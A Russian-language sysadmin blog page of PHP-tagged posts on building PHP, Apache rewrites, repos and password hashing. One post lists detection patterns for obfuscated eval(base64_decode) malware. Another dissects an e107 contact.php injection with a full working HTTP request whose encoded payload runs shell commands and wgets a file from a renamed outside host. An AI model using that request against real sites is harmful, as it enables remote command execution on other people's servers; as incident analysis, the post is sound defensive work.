Показаны сообщения с ярлыком php. Показать все сообщения
Показаны сообщения с ярлыком php. Показать все сообщения

среда, 20 августа 2014 г.

Рекурсивный рерайт на CGI

Сделал челу пых как cgi (без супхп), у него стала валиться 500 ошибка из-за косяка с рерайтами:
Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace
r->uri = /cgi-bin/php/index.php
redirected from r->uri = /index.php
redirected from r->uri = /cgi-bin/php/index.php
redirected from r->uri = /index.php
redirected from r->uri = /cgi-bin/php/index.php
redirected from r->uri = /index.php
redirected from r->uri = /cgi-bin/php/index.php
redirected from r->uri = /index.php
redirected from r->uri = /cgi-bin/php/index.php
redirected from r->uri = /index.php
redirected from r->uri = /

Сделал отдельный рерайт для cgi-bin/php, помогло:
RewriteCond %{REQUEST_URI} ^/cgi-bin/php(.*)
RewriteRule . - [L]

понедельник, 18 февраля 2013 г.

Паттерны обфусцированного пыххлама

Пора куда-то записывать шаблончики, по которому иногда всякие обфусцированные пхп гадости приходится искать:

"e\166\141\154\050b\141\163\145\066\064\137\144\145\143\157\144\145\050"
"\145\166\141\154\050\142\141\163\145\066\064\137\144\145\143\157\144\145\050\163\164\162\162\145\166\050"
"\051\051\073"
"eval(base64_decode(strrev("
"eval(base64_decode("
"strrev('edoced_46esab');eval"

среда, 29 августа 2012 г.

PHP и ./configure --prefix

Собираю сухосин. Не могу префикс задать, вместо моего /usr/local/php52 встаёт дефолтный.
Нашёл "фичу", епт: можно хоть обделаться, передавая конфигуратору опции, которые, между прочим, в хелпе конфигуратора перечислены, но он их затрёт данными, получаемыми от php-config. Странное поведение, по идее, должно быть наоборот. В общем, вместо префиксов просто задал
./configure --with-php-config=/usr/local/php52/bin/php-config

вторник, 28 августа 2012 г.

Сборка php 5.4 для cpanel с php 5.3

Сказали, что надо для панелей запилить пых 5.4, сохранив основным 5.3.
Собрал c блекджеком, проститутками и параметрами:
./configure --prefix=/usr/local/php54 --enable-bcmath --enable-calendar --enable-exif --enable-ftp --enable-gd-native-ttf --enable-mbstring --enable-pdo --enable-soap --enable-sockets --enable-wddx --enable-zip --with-bz2 --with-curl=/opt/curlssl/ --with-freetype-dir=/usr --with-gd --with-gettext --with-imap=/opt/php_with_imap_client/ --with-imap-ssl=/usr --with-jpeg-dir=/usr --with-kerberos --with-libdir=lib64 --with-libexpat-dir=/usr --with-libxml-dir=/opt/xml2 --with-libxml-dir=/opt/xml2/ --with-mcrypt=/opt/libmcrypt/ --with-mysql=/usr --with-mysql-sock=/var/lib/mysql/mysql.sock --with-mysqli=/usr/bin/mysql_config --with-pcre-regex=/opt/pcre --with-pdo-mysql=shared --with-pdo-sqlite=shared --with-pic --with-png-dir=/usr --with-tidy --with-xmlrpc --with-xpm-dir=/usr --with-xsl=/opt/xslt/ --with-zlib --with-zlib-dir=/usr --with-zend-vm --with-pgsql --with-pdo-mysql --with-pdo-pgsql
Пришлось по мелочи либ доставить, конфигурялка подсказала. Взял стоковый php.ini, поправил лимиты на память, аплоад, пост и еррор лог задал.
Дальше самое интересное: в suphp указываем путь до нового пыха и в конфе апача добавляем хандлер:

/opt/suphp/etc/suphp.conf:
application/x-httpd-php54="php:/usr/local/php54/bin/php-cgi"

/usr/local/apache/conf/includes/pre_virtualhost_2.conf:
suPHP_AddHandler application/x-httpd-php54

Теперь клиенту достаточно добавить в .htaccess:
AddType application/x-httpd-php54 .php5 .php4 .php .php3 .php2 .phtml
Самое главное - не забыть закомментить всё при запуске easyapache ))

понедельник, 22 ноября 2010 г.

Zend repo

cat /etc/yum.repos.d/zend.repo:

[Zend]
name=Zend Server
baseurl=http://repos.zend.com/zend-server/rpm/$basearch
enabled=1
gpgcheck=1
gpgkey=http://repos.zend.com/zend.key

[Zend_noarch]
name=Zend Server - noarch
baseurl=http://repos.zend.com/zend-server/rpm/noarch
enabled=1
gpgcheck=1
gpgkey=http://repos.zend.com/zend.key

четверг, 26 августа 2010 г.

PHP from source

Последнее время часто приходится сталкиваться с nginx + php-fpm.
php-fpm для ветки 5.2 идёт как патч, поэтому пыхпых приходится руками собирать.
Решил свои действия, наконец, на бумажку записать )

Поехали. Качаем, патчим:
wget http://ru2.php.net/get/php-5.2.12.tar.gz/from/this/mirror
wget http://php-fpm.org/downloads/php-5.2.12-fpm-0.5.13.diff.gz
tar xzf php-5.2.12.tar.gz
gzip -cd php-5.2.12-fpm-0.5.13.diff.gz | patch -d php-5.2.12 -p1
Собираем ядро php:

./configure \
  --prefix=/usr/local/php \
  --exec-prefix=/usr/local/php \
  --sysconfdir=/etc \
  --enable-fastcgi \
  --enable-fpm \
  --with-fpm-conf=/etc/php-fpm.conf \
  --with-fpm-log=/var/log/php-fpm.log \
  --with-fpm-pid=/var/run/php-fpm.pid \
  --with-libdir=/lib64 \
  --with-config-file-path=/etc \
  --with-config-file-scan-dir=/etc/php.d \
  --enable-dom \
  --enable-xml
make install
dom и xml можно отсюда выкинуть, просто мне так нужно было.

Дальше в scripts/php-config надо поправить строку --extensions-dir, дабы модули лежали в более удобном месте.
Кладём  php.ini в /etc и меняем в нём путь к модулям на наш.

Cобираем модули:

cd /root/build/php-5.2.12/ext/mysql
/usr/local/php/bin/phpize
./configure --prefix=/usr/local/php \
  --exec-prefix=/usr/local/php \
  --sysconfdir=/etc \
  --enable-fastcgi \
  --enable-fpm \
  --with-fpm-conf=/etc/php-fpm.conf \
  --with-fpm-log=/var/log/php-fpm.log \
  --with-fpm-pid=/var/run/php-fpm.pid \
  --with-libdir=/lib64 \
  --with-config-file-path=/etc \
  --with-config-file-scan-dir=/etc/php.d \
  --enable-dom \
  --enable-xml \
  --with-mysql=shared \
  --with-php-config=/root/build/php-5.2.12/scripts/php-config
make install
echo "extension=mysql.so" > /etc/php.d/mysql.ini
По аналогии собираем другие компоненты.
В во время сборки на понадобятся разные сорсы, gcc и autoconf. В правильных дистрах просто доставляем нужные devel пакеты.

среда, 25 августа 2010 г.

пыхпых моя админ!

Никогда не любил phpmyadmin. Сегодня в очередной раз убедился, какой это хлам. Консольный mysql - это наше всё. Вебмин тоже годится. И Mysql Workbench. А phpmyadmin - для нищебродов, которые всякими денверами пользуются.
Воть.

понедельник, 2 августа 2010 г.

Как ломают e107 < 0.7.21

Нашёл-таки, как именно команды скарливают этой поделке дырявой.
В файле contact.php есть строчка:
$sender_name = $tp->toEmail($_POST['author_name'],TRUE,"rawtext");
 Туда суётся такая конструкция:
author_name=[php]"$cmd";die();[_php]
И вуаля - выполнена команда с правами юзера, от которого скрипты работают. Если пыхпых работает как модуль - то правами апача ))
Вот так вот.
Сам http запрос выглядит так (имена хостов изменены):

POST /e107/contact.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: test.domain.ru
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-
urlencoded
Content-Length: 259

send-contactus=1&author_name=%5Bphp%
5Decho(base64_decode("QmFNYlk=").shell_exec(base64_decode("aWQ=")).base64_decode("Qnlyb2VOZXQ=")).shell_exec(base64_decode("Y2QgL3RtcDt3Z2V0IGh0dHA6Ly9kb21haW4ub3JnL2hlbGxvLnR4dDsK"))%3Bdie%28%29%3B%5B%2Fphp%5D
Строчку суём хоть сплойтом, хоть плагином для фокса, хоть телнетом )))

Тестировал на CentOS + nginx + php-fpm

четверг, 22 июля 2010 г.

PHP

Дожили - в век rpm пакетов приходится собирать пыхпых из сорсов, ибо понадобился именно 5.2.12. В центосовских репозиториях либо 5.1, либо в тестовом 5.2.10. В сторонних - 5.2.13.
Но зато ностальгия какая... )))
# make install && enjoy the party ))

ЗЫ
Оно работает ))) Правда, pdo пришлось компилить как статику, ибо как shared она не работала, а разбираться уже некогда было.

понедельник, 21 июня 2010 г.

Пермалинк на оптимайзер

А то вечно логиниться напрягает и wget'ом не скачаешь.
Для нужной версии и платформы поменять соотв. букаффки и циффирки:
http://downloads.zend.com/optimizer/3.3.9/ZendOptimizer-3.3.9-linux-glibc23-x86_64.tar.gz

четверг, 13 мая 2010 г.

Vexim. Хэш пароля.

Тут вот неожиданно понадобилось понять, как руками поменять пароль юзеру в базе vexim'а. Т.е. надо было взять новый пасс, правильно его хэшировать и засунуть в базу.
Поковырявшись в сорсах вывел следующее:
Пароль хешируется php функцией crypt(), которой передаётся пасс и salt вида $1$xxxxxxxx$, где xxxxxxxx - некая случайная последовательность.
В результате имеем строку вида: $1$xxxxxxxx$хеш_пароля, она и вставляется в базу.
Пример:
Надо юзеру user@domain.net поставить пароль 12345678
Отрабатываем скриптик:
<?php
echo crypt('12345678', '$1$adevtdnu$');
?>
Получаем строчку $1$adevtdnu$BXoKOb9rWVuC7jCZuMooH/
И делаем апдейт в базе:
UPDATE users
SET crypt='$1$adevtdnu$BXoKOb9rWVuC7jCZuMooH/'
WHERE username='user@domain.net';